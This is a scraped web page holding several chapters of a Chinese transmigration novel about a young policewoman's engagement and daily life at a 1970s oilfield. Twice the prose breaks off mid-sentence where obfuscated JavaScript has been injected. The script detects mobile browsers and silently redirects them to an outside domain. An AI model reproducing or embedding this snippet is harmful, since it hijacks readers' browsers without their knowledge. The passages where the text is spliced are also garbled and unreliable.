见姜楠推开房门,陈金花转移话题道:“我跟工会的汤大姐说了,她周六去周家提亲,初步定在九月十六,那天是周六,离中秋节也不远,是个黄道吉日,怎么样?” 虽然现在不讲究什么黄道吉日的,但谁家结婚办酒的不找人看?偷偷摸摸的,大家也都理解。 “妈,都听你的,我可是很听话的。”姜楠一屁股坐在沙发上,拿起茶几上的日历看了看,说,“那九月十八就是中秋,会放假吗?” “会,中秋是大日子,怎么不放假。”姜满城开口,苦着脸问媳妇儿,“是不是太早了?” “你啊,就是放到十二月你也觉得早。就这么定了,趁着爹在,咱们早点儿办。” “姥爷能呆到中秋?” “能。要不然最近油田的人怎么越来越多呢。我估计,西河岸大队的石油储量不会低,这次油田一定会招工的。”陈金花透露道。 姜满城落寞地低下头,独自品味老父亲的心酸。 姜楠,姜楠没啥感觉啊。你说突然就跟陌生人定亲?这个年代,她不结婚才不正常吧。而且她有系统,知道上一世的周知行是个什么样的人,这一世也接触了这么多次,心里有底,自然就不害怕了。 至于真结婚还是假结婚,现在说这些还为时尚早,两人只是定亲,真正结婚还得两年后。两年时间呢,啥都可能发生,她才不为未来不确定的事儿发愁呢。 穿越一次,她最先学到的,就是乐呵,到哪儿都得乐呵,这才是人生真谛啊。 别看她刚才对周知行嫌弃得不行,其实有周知行时不时发癫,乐乐呵呵地过日子,也挺好。 怀揣着人生真谛,睡觉都比平时香。第二日一大早,两人来到派出所不久,再一次迎来了会议,只不过是所有警察的会议。 外勤加内勤近四十人,全部聚集在大会议室里,沈所长清了清嗓子,开口道:“是这样,上次咱们抓到的尤爱钱,案情已经全部查清,不久就会宣判。这次不仅是妇女被殴打致死,还牵扯到油田倒卖物资,油田方面非常重视,已经制定出‘倒卖物资处罚条例’,小何,将文件给大家发下去。” 沈所长示意何琳发文件,继续道:“这是初版的处罚条例,油田总部发给各派出所,希望大家在接下来的半个月时间里,多提意见。之后,下个月中旬,总部宣传科会派人下来,进行连续一个月的条例宣讲,我们派出所也会配合做一些普法工作。同时,妇联也会宣讲一些妇女保护的条文,都是我们需要配合的。” 他眼神儿在底下皴寻一圈儿,说:“关顺,你带着第六组配合,小楠作为女同志,要多配合妇联的工作,争取让所有女同志们都知道自己的权益,大家明白了嘛?” “明白。” “好,文件大家带回去多看看,关顺,你过来一下,我跟你说下具体情况。” 等人散了,沈所长关上门,脸色有些沉重,他说:“有一点没法在会议上说,但你心里要清楚。这次下来的,不止是总部宣传科的人,还有安全部门的。上次抓捕的卢家辉、苏水仙等人都招供了,他们其实是想通过探明油田储量,倒卖消息给对岸。那边初步计划的,是实施爆炸等破坏工作,阻碍我们的工业发展。安全部门很重视这次事件,想在油田再摸排一次,彻底查清是否还有特务潜伏。你和姜楠,还有周同志配合,其他人就不要告诉了。多配合安全部门的工作,知道嘛?” “知道,所长。”关顺起身,难得的敬了个军礼。 42. 定下来 时间很快到了周六,刚下班,周知行就冲姜楠眨眨眼,这软饭啊,明天起就可以名正言顺地吃上了。想想还有点儿小激动呢。 姜楠眼角儿跳了跳,面无表情地起身,去车棚取车回家。这厚脸皮的,还是交给她爸,她姜楠,还是修练不到家啊。 双方都有默契,工会的资深媒婆汤大姐也就走个过场。她是工会的老人儿了,最喜欢做保媒拉纤的活儿,前几天缠着陈金花,要给她闺女介绍对象的就是她。如今姜楠要定亲了,陈金花第一时间就想到了汤大姐,谁让她最热情呢。 汤大姐全名叫汤兰花,今年快四十了,下班也没回家,跟着陈金花回来。这上门说亲可不是白去的,不得管顿饭?姜满城可是个会享受的,那饭肯定差不了,到时候的谢媒礼也不会少,汤大姐这嘴角,下班后就没下去过。 这不,姜满城炒了个豆芽儿炒肉,醋溜了白菜,还凉拌了香干,打了个番茄蛋花汤,连汤一共四个菜呢,吃得汤兰花连连点头。她看着姜楠,不住地夸奖:“不愧是特招进派出所的,这精气神儿看着就不一样。金花你放心,我今儿肯定给曹大妈说通,咱们九月就定亲,妥妥的。” 她抹抹嘴,又等了一会儿,估摸着大家都吃完了晚饭,起身一摇一摆地去了曹家。 曹家,曹老太、周元庆、黄毓秀、周知道和周知行五人都在家。曹老太拉着脸坐在椅子上,一脸的不高兴。她虽然答应了,却没想到这么快,他孙子才回来几天啊,这就要定出去了,她的命怎么那么苦呦。周元庆则有些尴尬,为了不让尴尬扩散得更广,他连大儿子一家和女儿一家都没通知,想着定亲酒之前再说。 全家最放松的就是周知行了,他哼着歌儿,擦着桌子,别提多自在了。周知道十五岁的大小伙子,对这个堂哥那是佩服得不得了。这要当上门女婿了,还这么淡定,不愧是能当警察的人,一个字儿,牛! 因为吃完了饭,门也就开着,前面挡着纱帘子,又不进蚊子又能通风的,几乎家家吃完饭都会开门。汤兰花刚出姜家的门,还没下到三楼,就咯咯咯笑着恭喜,声音整个楼都能听到。大家也知道今儿姜家来了人,八成是有事儿,纷纷在门口探头,竖着耳朵听热闹呢。 “哎呦,曹大妈,恭喜贺喜啊。您家小子才貌双全,人品贵重,这不是,跟姜家的小楠警官看对眼儿了嘛。姜家托我来跟您家提亲,这两好合一好,想着让您家小行进门呢。”汤兰花声音高高的,笑着说,“这可不是上门女婿的意思,您们可别误会,将来生的孩子啊,可是有一个姓周的。这不是小行的父母不在了,姜家的房子又宽敞,小两口住在姜家,也方便不是。曹大妈,您可不能老思想......” 汤兰花不愧是资深媒婆儿,那嘴跟抹了蜜似的,上门女婿硬是说成了凑在一起住更方便。 曹老太也是楼里的老媒婆了,哪里不知道媒婆的嘴,那就是骗人的鬼。反正死的都能说成活的,虽然她曹春草不这么干,但架不住有那不讲究的,就爱乱牵线呢。 她狐疑地打量了汤兰花一眼,想到孙子都答应了,姜家也是多年的邻居,终是僵硬地起身将人迎进家门,硬邦邦地开口道:“家里说,家里说。”说着,砰一下关上了门。 各家门口听热闹的众人,纷纷抖了一下。 就,根本想不到,周知行是入赘啊。 你说这谁能想到呢,独子还能入赘,这,周知行,就不怕被人戳脊梁骨,就不怕被人瞧不起,就不怕死了见到父母,被父母男女双打? “不是,这周知行不是有正经工作嘛?咋想着入赘啊?” “啥入赘,人家说是和岳父岳母住一起,可没说入赘。” “那不都一样。正经人,谁和岳父岳母住一起啊。” 反正楼里的人不理解,深深的不理解。 要么说脸皮厚吃得开呢,周知行就没事人一样,仿佛要入赘的不是他。 有不理解的,还有怀着其他心思的。这说的就是林大叔了,他家林兵跟个寡妇不清不楚这么长时间,好不容易有个条件好的,又有工作的愿意跟他相亲,没想到还让人看了笑话。如今比他小十岁的姜楠都定亲了,他家林兵的媳妇儿还没影儿呢,这林大叔能不急嘛。 这急的结果就是,汤兰花刚从曹家出门,林大叔拄着拐紧跟着进了曹家的门。他不为别的,这不是如今两个媒婆儿嘛,哪个能给他家林兵说个媳妇儿,他都上重礼啊。 “大妹子你先别走,曹大姐,您坐,我找您二位有事儿。”林大叔原名叫林有粮,他进门找了个板凳坐下,有些拘谨地说,“曹大姐您别怪我这时候登门,我这也是没办法。我家林兵都二十六了,这还没对象呢,如今大妹子也来了,你们两位能不能想想办法,给我家林兵介绍个对象?我要求也不高,没孩子的寡妇也行的,只要是城市户口,人品好,家庭负担别太重,我都没意见的。” 这要求属实是不高了。不是不考虑农村人,是这年头孩子的户口是跟着母亲走的,如果母亲是农村户口,那就没有粮食定额,没粮食就得去黑市儿买,等将来生了孩子,再多的工资,都得花在黑市儿买粮上,一家日子过得紧巴巴。 所以啊,这年头工人找对象,没有特殊情况,是绝对不会考虑农村丫头的。只有那实在娶不着媳妇儿的人家,才会考虑。林兵虽然不着调,但还真不到那个份儿上。 虽然如此,曹老太却有些为难,她说:“小林啊,你这,不是我不给林兵介绍,你说的这些条件跟林兵通过气吗?别我这头儿跟人家姑娘说了,你家林兵再不愿意。” “他敢!”林有粮发狠,他也是今天被刺激到了,咬咬牙道,“我今儿话放在这儿,他不愿意也得愿意。不孝有三无后为大,我们老林家不能在他这断了根儿。您放心大胆地介绍,我打也得把他打过去相看。” 汤兰花并不多话,她心里明镜儿似的,知道林兵跟个寡妇不清不楚,这种人脑子拎不清的。她手上的大多都是有工作的女同志,这要是给人介绍林兵,她招牌都得被人砸了。 曹老太见林有粮话落在地上了,没人接,只得开口道:“行,我这几天就帮着看看。不过小林啊,丑话说在前头,我可不保证一定成,你家林兵你也清楚,就算他愿意,保不齐就有那使坏的呢,对吧。你总不能时时刻刻跟在他身边吧。” 林有粮当然知道这话的意思,他说道:“您放心,那臭小子的工资现在都是我去领。队里的领导我都通过气儿了,谁都不能给他借钱,就连出纳那里我都说了,无论如何不能让他碰工资的。” “行,有你这个话就成。”曹老太拍板 林有粮放心地出了曹家门,上楼见方家婆媳趴在走廊的栏杆上朝下看,重重地哼了一声。 汤兰花跟在后面,暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524954|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自撇嘴。这老林多好的人啊,怎么就养出这么个儿子呢。这心眼儿多的寡妇沾不得,这么简单的道理,林兵那个大小伙子愣是不懂。她摇摇头,笑着进了姜家的门:“金花,妥了。你就放心地准备定亲酒吧,到时候我可是要坐首席的。” “那是,您是媒人,自然是首席。”陈金花递过去一杯糖水,又指着桌子上的纸包,感谢道,“汤大姐,这是谢媒礼,您拿着。真是感谢您跑这一趟。” 汤兰花喝了口水,笑意直达眼底,她又客气了两句,这才拎着纸包告辞回家。这纸包一拎起来她就知道,这里面可是猪肉,得有两斤了吧,这谢媒礼可不轻。她脚步轻松地下了楼,希望以后这种说句话的事儿,那是越多越好。 姜楠全程跟看大戏似的,真是怎么都没想到,她就这么要定亲了。虽然做好了准备,但还是好快啊。 【宿主,恭喜你了。】 “少废话。”姜楠无语,恐怕最高兴的就是系统了吧,定亲后两个任务合成一个任务,也算是一身轻了。 这时候不讲究什么定亲礼,礼那都是成亲的时候才送的,什么嫁妆彩礼之类的,都得成亲的时候才有。这如今定亲,两家人合起来吃个酒就成。有的不讲究的人家,喜糖都不会发的,要不然成亲的时候还得发,这发了两次,自家不就亏了? 姜家倒是买了糖,不过得等到九月十六,现在还早呢。 姜满城气哼哼地刷碗,只恨自家白菜这么早就被人拱了。而拱了白菜的周知行,第二天一大早神清气爽地等在楼下。如今过了明路,他和姜楠再一起同进同出,可就不怕人闲话了。 “呦,小行啊,等姜楠呢?这还没成亲就是不一样,热乎的很嘛。就是不知道成亲之后咋样了。”林兵说着酸话,他爸昨儿训了他一顿,这不见到正主,阴阳怪气上了。 “大兵哥,瞧您说的,这跟成没成亲可没关系。我啊,这叫尊重女性,就算成亲了,我也一样跟媳妇儿一起上下班。”周知行很是会给自己脸上贴金。 林兵扭头就走。这种脸皮跟城墙似的人,惹不起他还躲不起嘛,晦气。 周知行啧啧两声,就这种道行,他周知行一次能打十个,还不用尽全力。真是他刚回来,楼里的人还不知道他的实力,什么人都敢招惹他。 要说周日大早上的,为啥周知行要等在楼下呢,还不是那个知青普法闹的。姜楠也没想到,这普法都安排在周末啊。她还以为上次是特殊情况呢,谁承想领导就是这么想的。 这时候可没有双休这一说法,一周工作六天只休一天啊。农村那些生产队倒是不在乎周日不周日的,但油田在乎啊。什么艰苦奋斗,全心奉献啦,巴拉巴拉能讲出一大堆道理。 姜楠心里苦,但姜楠认了。谁让,她就是个小人物呢,还是个要做任务的小人物。她这周日苦兮兮地去山坳子大队普法,周知行知道后,当然要同行了。 两人很快在楼下会合,一齐去派出所。沈所长、蓝青山以及其他领导也都到了,见到二人,大家笑着恭喜。 “这也算郎才女貌了吧。”沈所长开玩笑道。今天他还是主讲人,衣服穿得格外齐整,瞧起来就精神。 “多谢所长对我俩外貌的肯定。”周知行很会顺杆儿爬,说得众人都笑了。 山坳子大队离得远,大家是坐车过去的,远远就看到了晒场上搭起的高台。 43. 发工资啦 虽然周日要加班去做普法宣讲,不过好在就一场,两人不到中午就回来了。 刚进家属院,就看到宣传栏那里围了很多大爷大妈。刘老太见两人,忙招手,问起来:“小楠,小行,你们快说说,这钱大胆真是洗澡洗死的?这咋听着这么吓人。” “就是,这洗澡还能死人,不会是被人害了吧?那钱大胆不是范桃花的......会不会是吴家小子......” “你可别胡说啊。”老吴头脸上的伤好了,也凑在人堆儿里看热闹,听到这里不高兴了,“我家大锤那天可都在家,不带这么诬赖人的。警察都查清楚的事儿,你可不能胡咧咧。” 姜楠见大家要吵起来,赶紧插话道:“刘奶奶,你们这看板报呢?都写的啥?” “哎呀,你问她?她又不认识字,我跟你说小楠......”这是经过一晚上,想通了的曹老太,又恢复了以往择菜的造型,提着菜篮子看板报呢。老太太能当上楼长,那也是有原因的,因为老太太认字啊。虽然也是才脱离文盲的水平,但她这个年纪的老太太,已经是很不容易的了。她昂着头,将刚才听到的板报内容,一字一顿地念给孙子孙媳妇儿听,最后问道,“小行,你们看没看过钱大胆的死因?真是跑步后洗冷水澡死的?” 老头老太太们都竖着耳朵,他们这个年纪,那是格外在乎生死的。 姜楠和周知行见油田宣传科这么给力,早早就画板报宣传,当然配合着说明了情况。 周末的时光总是很快的,周一嗖一下就来了。不过这个周一是愉快的周一,因为是开饷的日子啊。拿钱谁不高兴。这不,大清早,大家一到派出所就去排队,姜楠和周知行到的时候,队伍已经排的老长了。不过派出所本来人就不多,两人没排多久就到了。 因着姜楠和周知行都是月中才入职,满打满算也没干半个月,不过这时候算的也没那么仔细,两人还是拿了半个月工资。 姜楠因为立过功,而且是抓到特务这种大的功劳,入职的时候就是正式工,定了八级民警的工资,一个月工资三十元,半个月可以拿到十五块。而周知行更是参加过战斗,转业后是六级民警,工资标准是五十元,今天一共可以拿到二十五块,比姜楠多了整整十块钱! 她撇撇嘴,周知行笑了:“我好歹当了两年兵,定级比你高,工资高点儿也正常啊。” 他左右看看,小声道:“原身还有战功呢,这工资不算多了。” 姜楠好奇地问:“你工资高,还是关组长工资高?” 不是她八卦,是这时候工资基本上都是透明的,不像后世,谁家赚多少钱那可是秘密。如今啊,只要报出职位和级别,那脑子记得清的,张嘴就能说出工资多少,一个月多少粮票多少布票,半点儿不带错的。 “我俩差不多。”周知行显摆道,“他是当警察年份多,我是凭借功劳,不一样。” 姜楠高兴地将钱踹进兜里,这才坐回到办公桌上,倒水擦桌子的,开始一天的办公生涯。 虽然各个家属院都开过会,让大家劝亲戚回去,但明显效果一般,油田闲杂人等还是很多。不过也可以理解,这年头,工作多难得,别说遭人白眼儿了,就算天上下刀子,只要能捞到一个工作,都有人愿意这么耗着。 这可苦了姜楠、周知行这些小警察了。一天净是些鸡毛蒜皮儿的案子,上午你家侄子打我家孙子了,下午农村来的老太太撬公园的花砖了,真是什么稀奇事儿都有。 就这个撬花砖的老太太,被带到警察局还抱着花砖不放手呢,一直嚷嚷:“放在外面多浪费的,你们城里人就是不会过日子。我撬了铺到我家院子里,我一定好好爱护,每天擦得干干净净。警察同志,你们咋就能抓我呢,我这也是为了保护国家资产啊......” 巴拉巴拉,老太太也是在油田听了广播的老太太,那词儿还一套一套的。等家属来领人时,众人才发现,嗐,这还是领导家的老太太呢。也不是旁人,涂书记的大秘,荆志远荆秘书,今年也有三十二了,可以称得上一句年少有为的青年才俊了。 那次送表扬信,以及后来姜楠特招进派出所,都有这位的身影。连姜楠都觉得眼熟,更别说经常跟涂书记他们打交道的蓝青山了。 他上去跟荆志远握手,笑道:“这真是大水冲了龙王庙,荆秘,您多包涵。” 荆志远一身中山装,利落笔挺,此时却满脸苦笑。他出身农村,能走到今天,多亏她老娘当年压着两个哥哥,拼命供着他读到大学,如今老娘来给大孙子要工作,他这拒绝的话怎么都说不出口。他看着角落里坐着还紧抱花砖的老娘,开口道:“给您添麻烦了,蓝所,您说,这事儿怎么处理,我都听您的。” 蓝青山也是会说话的,谁还没个穷亲戚不是,更何况这是人家老娘,他直摆手:“磕碜我不是,没什么大事儿,只要把花砖放下,我们再砌进去就成。您看,大娘她一直抱着......” 荆志远点点头,走过去单膝跪在地上,跟母亲轻声说着什么。老太太应该是年纪大了,脑子有些糊涂。不过小儿子的话到底是听进去了,放下花砖,荆志远又签了字,事情就算解决了。 下午大家一起学习文件,隔壁五组匆匆出去了,姜楠模糊听到什么“黑市”、“好货”之类的话。 【宿主,唐夕前两天出手了两袋子面粉,正好昨天黑市儿有警察埋伏,大家匆忙逃跑,面粉撒了一些,因为过于精细,引起了警察的怀疑。五组就是去黑市儿瞧瞧的。】 姜楠明白了,月中他们六组就要准备迎接宣传组和调查组了,确实是没时间调查黑市的事。 “唐夕不会出事吧?她为什么突然卖这么多面粉?” 【不会,她是女主,又是乔装过的,按照原书剧情,她应该是为了给男主的父亲治病,这次之后,她会避一段时间的风头,之后再去黑市儿。】 “没事儿就好。”姜楠也不担心女主了,唐夕有神秘力量护着,只会安全无虞。她还是为自己担心吧。 周知行耳朵微动,抬眸看了姜楠一眼。等到下班,才低声问出来:“什么原书剧情?你们在说什么?” 等听到这个世界是一本书时,周知行第一次觉得自己见识浅薄。真的太浅薄了,这活生生的世界,竟然是书衍生出来的? “那剧情是固定不变的,还是可以改变的?”他问出了最关心的问题。 “是可以跑偏的,原剧情里就没有系统,也没有我。”姜楠见周围没人,小声说道。 周知行这才放下心:“这就好,只要可以改变,其实跟什么书的关系就不大了。” 见姜楠看他,周知行笑了一下道:“你也别太纠结什么原文剧情了。既然咱们的任务跟原文关系不大,咱们就只管活自己的就行。你看这衍生世界跟真实世界也没什么区别,都充满着不确定,纠结什么原书剧情就很没有必要了。” “你倒是接受得挺快。”姜楠诧异。 “我这人,随遇而安只是我众多优点中,最小的一个。你以后接触多了就会发现,我这个人那是基本上没有缺点的。”周知行挑挑眉,掰着手指头开始数,“幽默风趣,英俊潇洒,身体倍儿棒......” 姜楠飞速地骑上自行车,扬长而去。周知行是那么容易服输的人吗?他是,他跟在后面,大声地招呼:“哎呦,小楠,你等等我,慢点儿,不然我告诉陈阿姨,说你飞车不注意安全。” 姜楠停下蹬车的大长腿,回过头狠狠瞪了这个告状精一眼:“你怎么跟小孩儿似的,还告状?” 周知行趁机并排,昂着头,一点儿没有被看不起的自觉,他说:“我这是跟丈母娘培养感情。陈阿姨可跟我说了,让我监督你,平时捉贼什么的,也不能逞强,得跟在我后面。这女人力气再大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531341|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有男人力气大,你可不能脑子一冲动,就......” 姜楠星星眼,她怎么不知道,她娘什么时候跟周知行这么热乎了?她还是不是她娘最爱的女儿了? 两人骑车回到家属楼,还没上楼,就见孙巧莲匆匆下楼。她看见两人,眼珠子一转,慢下脚步,对姜楠道:“小楠,下班儿了?今儿开饷了吧?没买点儿好吃的庆祝庆祝?” “孙姨。”姜楠喊人,她可还没忘了,这人还造谣她喜欢方南山的事儿呢。姜楠心内不满,对后面的问话充耳不闻,径直上楼。 孙巧莲眉头轻皱,不过仍笑盈盈地跟上,她说:“我说小楠啊,你是不是对孙姨有什么误会?有误会可得解开,不然你这当警察的,啥时候再因为偏见怀疑我干了啥事儿,我这跳进黄河也洗不清了,是不是?” 姜楠停住脚步,她严肃着脸说:“孙姨,您话可不能这么说。我对您没误会,更不会把私人感情带到工作中。您这么说我,不仅是对我,也是对我工作的不尊重。我可是要生气的。” “哎呦,那孙姨给你道歉。”孙巧莲巧笑倩兮,她说,“你没误会就好,孙姨这不是担心嘛。毕竟我一个寡妇人家,平时听惯了大家的小话,也是怕你听了对我有意见。” “孙姨你要没什么事儿,我就回家了。”姜楠见孙巧莲车轱辘话来回说,就是不说正题,也失去了耐心。 三人正好停在三楼,按说周知行该回东户的曹家了,可他就是站在那里,笑眯眯地不走。 孙巧莲暗骂一句小兔崽子,咬咬牙,苦笑着开口:“小楠,按说孙姨不该跟你一个小辈儿开口,可这孙姨实在是没办法。这不,南山去井上值班了,今天发饷都没回来,这家里实在是揭不开锅了。你看你今天刚开饷,你家里三个工人,日子过得好,你就借孙姨点儿钱呗?等南山从井上回来,我一定还你。” 别看她话说得好听,孙巧莲其实是不打算还的。她凭本事借的,凭什么还?姜家日子过得那么好,三个工人呢,一个月工资都一百多块了吧,怎么花得了?她家这么困难,就得接济接济她家啊。 以前她还能从林兵那里抠来钱,可如今林有粮发了狠,林兵身上是一分钱也没了。她本来想去小树林堵程大柱,他肯定也是今天开饷,多少能抠出来几块钱。这不是下楼遇见了姜楠,想着她一个小辈儿,她孙巧莲都这么低声下气了,姜楠怎么都得借点儿吧?只要借到了,就别想让她还。 姜楠早就见多了孙巧莲借钱不还的把戏,她笑着说:“孙姨啊,按说您一个长辈都开口了,我一个小辈儿也不能拒绝。可是吧,真是不巧,我这个月的工资已经许出去了。我这第一个月的饷啊,是预备请爸妈和周大哥去国营饭店吃饭的,也是我的一片孝心。我还要给爸妈、姥爷、奶奶、大伯、舅舅他们一人买一件礼物呢。孙姨,您能成全我的孝心吧?毕竟孝顺父母和老人,可是美德,是吧?” “孙巧莲。”陈金花和姜满城也下班了,两人已经在后面听了一会儿,陈金花实在气不过,开口道,“你别在这儿胡说八道了。南山是去井上了,但他的钱可是你领的,我们办公室的汤大姐都看到了,怎么,欺负我家小楠不知道是吧?” 她掐着腰,声音都大了:“真是好几天不发火,以为我陈金花是好欺负的?!你刚领了钱,就说揭不开锅,大家来评评理,有这样过日子的吗?你要是这么不会过日子,方阿婆还能让你当家?恐怕早八百年就把你撵走了。我看是你家南笙、南海想吃肉,你这是准备去供销社买肉去吧?” 方阿婆在方家门口听着,心里那个气啊。这个儿媳妇,连个谎话都不会说。她今天去领饷,这么明显的事儿,多少人都看到了的,这还想瞒着?真是猪脑子,她摔下帘子,干脆不去管这个破事儿。她对着南笙、南海小声道:“今儿不许说吃肉的事儿了,明儿再说,知道吗?不然家里要被人说闲话的。” 44. 会晤与闹鬼 虽然中间有插曲,四人还是很快地来到了国营饭店。 作为刚穿越人士,周知行还是第二次来这个时代的‘酒楼’,心里是很好奇的。第一次来的时候行色匆匆,是为了给部队上的两位同志送行的。都没有时间好好观察观察,如今第二次来,可得好好看看。 油田的国营饭店位于供销社那条街上,是一个四四方方的大房子。进去,里面摆了有十五张桌子,都是四人一张的那种大方桌,算是规模比较大的国营饭店了。 墙壁上明晃晃的“不要无故殴打顾客”的条幅,当时还让第一次来的姜楠大开了眼界呢。真是,只在年代文里看过,没想到真有这么回事儿,她也算是长见识了。 国营饭店的饭菜不便宜,但今天开饷,油田职工的日子又普遍过得不错,国营饭店的人还是很多的。 四人等了有半个小时,才坐下。也是今天国营饭店准备的食材多,发饷日嘛,不然这时候早没食材卖了。四人要了一份红烧肉,一盘清蒸鱼,一碗大葱炒鸡蛋,再要了六个馒头,总共花了有四块三毛钱。 交了钱取到号,才算是完成了点餐。这时候,饭菜都是自己去窗台取。服务员只管收钱,才不给你端饭呢。她们可是八大员,傲气着呢。 很快,叫到了四人的号。别看花的多,但菜量还是很大的,姜楠乐颠颠儿地夹了一筷子红烧肉,满足地叹息:“这国营饭店的红烧肉,可是一绝。” “那是你缺油水儿。”姜满城也夹了一筷子,快速地咀嚼起来。没办法,就算姜家平时吃的好,那也是跟两人的上辈子没法儿比的。 对,姜满城的上辈子和姜楠的上辈子。姜满城上辈子虽然是太监,但他是宠妃的太监,多少人巴结呢,吃得自然不差。姜楠就不用说了,21世纪的女青年,就算生在最贫困的农村,那吃得也比这个时代好。更不要说,上辈子的姜楠,那可是生在中产之家的。 周知行上辈子就更不缺油水了。他怎么说也是贵族出身,后期更是混迹后宫,那是怎么潇洒怎么来。如今刚来几天,就觉得吃不消。曹家虽然条件不错,但吃上面并没有姜家舍得。大伯娘黄毓秀还是很会持家过日子的,曹家十天才吃一次肉,跟姜家这种三四天吃一次的没法比。 才不到十天的功夫,愣是让周知行馋肉了,他吃着红烧肉,发出了和姜楠一样的感叹:“真香。” 四个人埋头苦吃,一时没了动静,不想隔壁桌却传来声音。 不是他们偷听啊,是那男人恶臭的声音毫不收敛,声响蹭蹭蹭往他们耳朵里钻啊。 “小茹,我知道你家庭条件好,为人傲气。这是你的优点,也是缺点。咱俩处对象,我希望你能多了解了解我妈。我妈她......” 男人的声音有些哽咽:“我妈把我拉扯大不容易。小时候家里穷,我妈什么好吃的都留给我,自己舍不得吃舍不得穿的。她也是心疼我,才希望我的媳妇儿能照顾我,我......我虽然不认同媳妇儿就得伺候男人,可我从小就发誓,长大后要对我妈好。刚才你吃完饭,碗都不帮我妈收,我妈就是太心疼我了,所以才对你摆脸子的。希望你能理解,也能尝试着去做一些事。我......就当是为我做的,好吗?” 女人的声音有些委屈:“建华哥,吃饭的时候我就吃了几块肉,你妈就冲我摆脸子,我......” 男人的声音十分痛苦,他说:“我知道,我都知道,但我妈就是太疼我了。你不知道,从小家里的所有好东西都是我的,我妈都舍不得吃,她以为你也是这样的,你别怪她,好吗?她就是最传统的中国女性,满心满眼都是我这个儿子。” 他似乎在挣扎,沉默了一会儿说道:“我......我是一定要孝顺我妈的,你要是觉得不合适,我们......”他停顿下来,似乎在极力克制着什么。 女人激动起来:“建华哥,你别生气。我都知道的,我......我以后会尝试去理解伯母的。” 姜楠翻个白眼儿,看了眼她爸。 姜满城是谁啊,那是宠闺女上天的人,一个眼神儿,就知道闺女想干嘛。他立刻轻咳一声,对着周知行摆脸色:“你要和我家小楠处对象是吧?以后家里的活儿都得你干,衣服你洗,饭你做,地你扫......” 周知行也是上道儿的,闻言惊愕地抬起头:“那怎么行,哪有大男人做这个的。而且我家......” “你家什么你家。”姜满城翻个大大的白眼儿,声音里满是不耐烦,“既然看上我家的条件想吃软饭,就得拿出吃软饭的架势。怎么,想软饭硬吃啊?也得看我和小楠妈答应不答应。以后你家的事儿跟小楠无关,有什么事儿你去解决,半点儿也不能麻烦我家小楠。” 陈金花虽然不知道姜满城怎么突然说起这个,但她无条件相信她男人啊,适时地叉腰瞪眼,完美呈现虎姑婆之威力。 “这......”周知行有些为难,“小楠毕竟是我家的儿媳妇,我妈从小把我养大不容易......” 姜满城:“哦,不容易那你怎么不去孝顺呢?就会在口头上孝顺是吧。你来说说,你行动上都做了什么孝顺老娘的事儿?” 见周知行不说话,姜满城哼一声,心说小子还算有眼色,继续高声道:“怎么,想着娶个媳妇儿,就把孝顺老娘的事儿全推出去,自己实际上什么都不用做,还能坐享其成捞个孝子的名声,是吧?算盘珠子怎么打的那么响呢。你这是孝顺嘛,你这是把孝顺外包!” 旁边的男人心里有些慌,像是隐秘的小心思被拆穿,他稳了稳心神,柔声道:“小茹,饭吃完了,咱们走吧......” 而旁边的女人则恍若未闻,听着几人的说话声若有所思。 姜楠适时加了一把猛药:“你妈养你不容易,我爸妈养我也不容易啊。我是独生女,咱们虽然谈对象,可我爸妈我是一定要孝顺的。以后,我不会强迫你孝顺我父母,也请你不要强迫我孝顺你父母。咱们各自孝顺自己的父母,不是正好?” 女人恍然大悟,看向对面男人的眼神儿都带着恨:“我说你怎么最近总是说你小时候的事儿,原来是想让我替你去孝顺父母!建华,你真让我恶心!” 男人神情慌张,不过强自镇定道:“你......你要嫁到我们家,孝顺公婆不是应该的吗?” 姜楠:“咱们都是独立的个体,伟人都说妇女能顶半边天,要我孝顺你父母也不是不可以。那你说说,你能做什么呢?你不会以为,娶了我,让我去给你父母做牛做马,而你什么都不用做,就能心安理得的把我做的事儿,算到你头上吧?不会吧,不会吧,你不会真的这么想吧?” 姜楠嗤笑一声:“这就是你口口声声强调的,你是个大孝子?那是你做的,还是我做的?笑话,我在我家可也是受宠的小公主,嫁到你家去做牛做马,我是疯了还是傻了?” “够了!”旁边的男人气愤地起身,指着姜楠恶狠狠道,“女人嫁给男人,就得任劳任怨,孝顺公婆,操持家务,任劳任怨......” “哦,是吗?”姜楠抱胸,伸出食指,指指对面的女人,“可人家好像不愿意了呢。你刚才也说人家条件好了,条件好的女人嫁给你,图的就是任劳任怨?” 女人也砰一下起身,脸色通红:“孙建华,是我瞎了眼,以为你多不容易。原来你就是这么想的!我们分手,我才不要嫁去你家做牛做马。你好自为之,不要再来骚扰我。不然我就告诉我爸,让你工作都保不住!” 说完,女人气哼哼地离开。男人想拉都拉不住,他回头狠狠瞪了姜楠一眼,转身小跑着去追人。 姜满城切一声:“想吃软饭还想压人家女方一头,他咋不上天呢。” 周知行耸耸肩,不接这个话茬,他算是知道岳父一家的行事了。 不过,他喜欢。 周知行也不是啥循规蹈矩的,还不想过那么安稳的日子呢。这不正好嘛,什么锅配什么盖。 他们闹出的动静不小,虽然时间不早了,国营饭店里也还有人,当然就有人看不惯,指指点点的。 “不安分,小姑娘啊,做女人哪有这样儿的。”一个小眼睛厚嘴唇的大婶儿出言道,“大婶儿劝你一句,刚才那小伙子说的有道理,女人不仅得有工作,在家还得孝顺公婆,操持家务,家里家外一把罩,这才是好女人呢。” 